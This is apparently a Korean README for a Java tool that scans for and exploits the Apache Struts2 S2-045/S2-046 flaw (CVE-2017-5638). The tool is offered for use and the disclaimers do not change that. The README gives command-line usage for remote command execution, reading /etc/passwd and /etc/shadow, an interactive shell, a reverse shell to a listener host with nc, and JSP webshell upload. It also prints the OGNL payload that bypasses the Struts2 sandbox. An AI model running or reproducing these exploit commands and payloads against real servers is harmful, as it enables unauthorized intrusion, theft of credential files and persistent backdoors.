
Struts2 S2-045/S2-046 CVE-2017-5638 탐지 및 익스플로잇 도구
순수 Java로 구현된 Struts2 S2-045 / S2-046(CVE-2017-5638) 취약점 탐지 및 활용 도구입니다. 탐지 모듈은 S2-045 / S2-046 두 취약점을 포괄하며, 활용 모듈은 명령 실행, 파일 관리, 정보 획득, 대화형 Shell, 리버스 Shell, Webshell 업로드 등의 기능을 제공합니다.
면책 조항: 본 도구는 승인된 보안 테스트, 취약점 연구 및 교육 목적으로만 사용하십시오. 승인되지 않은 불법 용도로 사용하는 것을 엄격히 금지하며, 사용자는 모든 법적 책임을 스스로 부담해야 합니다.
| 모듈 | 하위 명령 | 설명 |
|---|
| 취약점 탐지 | scan | S2-045 / S2-046 탐지(수학 검증 + UUID 핑거프린트 마킹) |
| 대량 스캔 | batch | 여러 대상 대량 탐지, 요약 및 JSON 보고서 출력 |
| 명령 실행 | exec | 임의 시스템 명령 실행 + 출력 반환(Win/Linux 자동 대응) |
| 대화형 Shell | shell | 지속적 상호작용, cd 디렉터리 유지, pwd/webroot/os 내장 명령 |
| 파일 업로드 | upload | OGNL 직접 쓰기(소형 파일) / 명령 분할 쓰기(대형 파일) |
| 파일 다운로드 | download | Base64 인코딩 다운로드(바이너리 안전) |
| Web 루트 디렉터리 | getpath | Web 애플리케이션 물리적 배포 경로 획득 |
| 시스템 정보 | sysinfo | OS / 사용자 / 커널 / 작업 디렉터리 정보 |
| 리버스 Shell | revshell | 원클릭 bash / PowerShell Shell 리버스 |
| Webshell 업로드 | webshell | JSP Webshell 생성 및 업로드(평문 ?CMD= 스타일) |
| 보고서 내보내기 | scan -r | JSON / HTML 보고서 |
다운로드 기능은 서버의 임의 파일(예:
/etc/shadow)을 읽을 수 있으므로 승인된 테스트에서만 사용하십시오.
:: 프로젝트 디렉터리에서 실행
.\build.bat
PowerShell에서는
.\접두사가 필요합니다. cmd에서는build.bat로 직접 실행할 수 있습니다. build.bat는 빌드만 담당하며 네트워크 요청이나 스캔을 수행하지 않습니다. 빌드 완료 후 창이 열린 상태로 유지되며 cmd 세션이 시작됩니다(도구 명령을 직접 실행할 수 있으며exit입력 시 종료). 환경에서 Maven 기본 저장소에 쓸 수 없는 경우 환경 변수M2_REPO를 쓰기 가능한 디렉터리로 먼저 설정하십시오.
산출물: target\s2tool.jar(fat-jar).
Linux/Mac은
build.sh참조
# 1. 취약점 탐지
java -jar s2tool.jar scan http://target/action
# 2. 탐지 + JSON/HTML 보고서 내보내기
java -jar s2tool.jar scan http://target/action -r both
# 3. 명령 실행
java -jar s2tool.jar exec http://target/action whoami
java -jar s2tool.jar exec http://target/action "cat /etc/passwd | head -5"
# 4. 대화형 Shell
java -jar s2tool.jar shell http://target/action
# 5. Web 루트 디렉터리 / 시스템 정보 획득
java -jar s2tool.jar getpath http://target/action
java -jar s2tool.jar sysinfo http://target/action
# 6. 파일 업로드 / 다운로드
java -jar s2tool.jar upload http://target/action shell.jsp /usr/local/tomcat/webapps/ROOT/shell.jsp
java -jar s2tool.jar download http://target/action /etc/passwd ./passwd.txt
# 7. 원클릭 Webshell 업로드(평문 ?CMD= 스타일)
java -jar s2tool.jar webshell http://target/action --name shell.jsp
# 접속: http://target/shell.jsp?CMD=whoami
# 8. 리버스 Shell(공격기에서 먼저 리슨: nc -lvnp 4444)
java -jar s2tool.jar revshell http://target/action --lhost 192.168.1.100 --lport 4444
# 9. 대량 스캔
java -jar s2tool.jar batch targets.txt -r json
# 주석 줄은 #으로 시작(자동 무시)
http://192.168.1.10:8080/login.action
https://vuln.example.com/action
공식 공지의 버전 범위(두 취약점 모두 Apache 공식 공지를 기준으로 하며, 사용자가 대상의 영향 여부를 평가할 때 참고용):
| 취약점 | CVE | 영향받는 버전(취약한 버전) | 수정 버전(패치 적용 버전) |
|---|---|---|---|
| S2-045 | CVE-2017-5638 | Struts2 2.3.5 ~ 2.3.31, 2.5 ~ 2.5.10 | 2.3.32 또는 2.5.10.1 이상 |
| S2-046 | CVE-2017-5638 | Struts2 2.3.5 ~ 2.3.31, 2.5 ~ 2.5.10 | 2.3.32 또는 2.5.10.1 이상 |
본 도구는 버전 번호 판단에 의존하지 않으며, Payload 탐지 결과를 통해 취약점 존재 여부를 직접 판정합니다. 버전 식별은 신뢰할 수 없기 때문입니다(많은 사이트가 버전 번호를 숨김). 위 표는 수동 평가 시 참고용일 뿐, 도구 탐지 로직에는 영향을 미치지 않습니다.
S2-046의 경우 도구는 filename 널 바이트 주입과 Content-Type 동일 근본 원인 두 가지 탐지 경로를 모두 지원합니다.
취약점 원리:
Content-Type; S2-046: Content-Disposition의 filename)을 예외 메시지에 연결하며,
예외 메시지는 Struts2 국제화 텍스트 처리 흐름(TextParseUtil.translateVariables)을 거쳐 OGNL 평가됩니다.(#nike='multipart/form-data') // Content-Type 위장, contains 검사 통과
(#[email protected]@DEFAULT_MEMBER_ACCESS) // 최고 권한 MemberAccess 획득
(#_memberAccess?(#_memberAccess=#dm): // 낮은 버전: 직접 교체
((#container=#context['com.opensymphony.xwork2.ActionContext.container'])
(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class))
(#ognlUtil.getExcludedPackageNames().clear()) // 패키지명 블랙리스트 비우기
(#ognlUtil.getExcludedClasses().clear()) // 클래스 블랙리스트 비우기
(#context.setMemberAccess(#dm)))) // 높은 버전: 블랙리스트 비운 후 교체
실측 결과: Struts2 2.3.30에서 축약 버전(
setMemberAccess만)은 샌드박스를 우회할 수 없으며, 반드시 전체 버전(OgnlUtil 블랙리스트 비우기 경로 포함)을 사용해야 합니다.
| 기술 | 원리 | 설명 |
|---|---|---|
| 수학 연산 검증 | OGNL 실행 88888888-23333+1222, 응답에 88866777 포함 시 존재 | 공개 POC 수식 |
| UUID 핑거프린트 마킹 | 임의 UUID 주입 후 응답 본문에 반영 | 고정밀, 네트워크 지연 영향 없음 |
| 지연 탐지 | Thread.sleep(6000) 시간 차이(S2-045 무출력 폴백 전용) | 임계값 >3.6s |
판정 규칙: 수학 검증 또는 핑거프린트 마킹 중 하나라도 적중 → 존재 확인; 지연만 적중 → 존재 의심; 모두 미적중 → 존재하지 않음.
struts2-vuln-tool/
├── pom.xml # Maven 빌드(shade 패키징 fat-jar)
├── build.bat / build.sh # 빌드 스크립트(Windows 검증 완료 / Linux 참조)
├── src/main/java/com/s2tool/
│ ├── Launcher.java # 메인 진입점(Picocli CLI)
│ ├── core/ # 핵심 엔진: HTTP 클라이언트 / Payload 구성 / 응답 분석 / 대상 파싱
│ ├── plugins/ # 취약점 플러그인 아키텍처(확장 포인트)
│ │ └── impl/ # S2_045 / S2_046 탐지 플러그인
│ ├── modules/ # 기능 모듈: 탐지 스케줄링 / 핑거프린트 식별 / 명령 실행 / 파일 관리 / Shell 등
│ ├── report/ # 보고서 생성(콘솔 / JSON / HTML)
│ └── utils/ # 로그 도구
├── src/main/resources/ # 로그 구성 / Payload 참조
└── src/test/ # JUnit 단위 테스트
취약점 원리 및 기술 문서:
참조한 오픈소스 프로젝트(본 프로젝트 개발 시 다음 저장소의 아이디어와 Payload를 참조):
승인된 보안 테스트 및 학습 연구 목적으로만 사용하십시오.
승인되지 않은 불법 용도로 사용하는 것을 엄격히 금지하며, 사용자는 모든 법적 책임을 스스로 부담해야 합니다.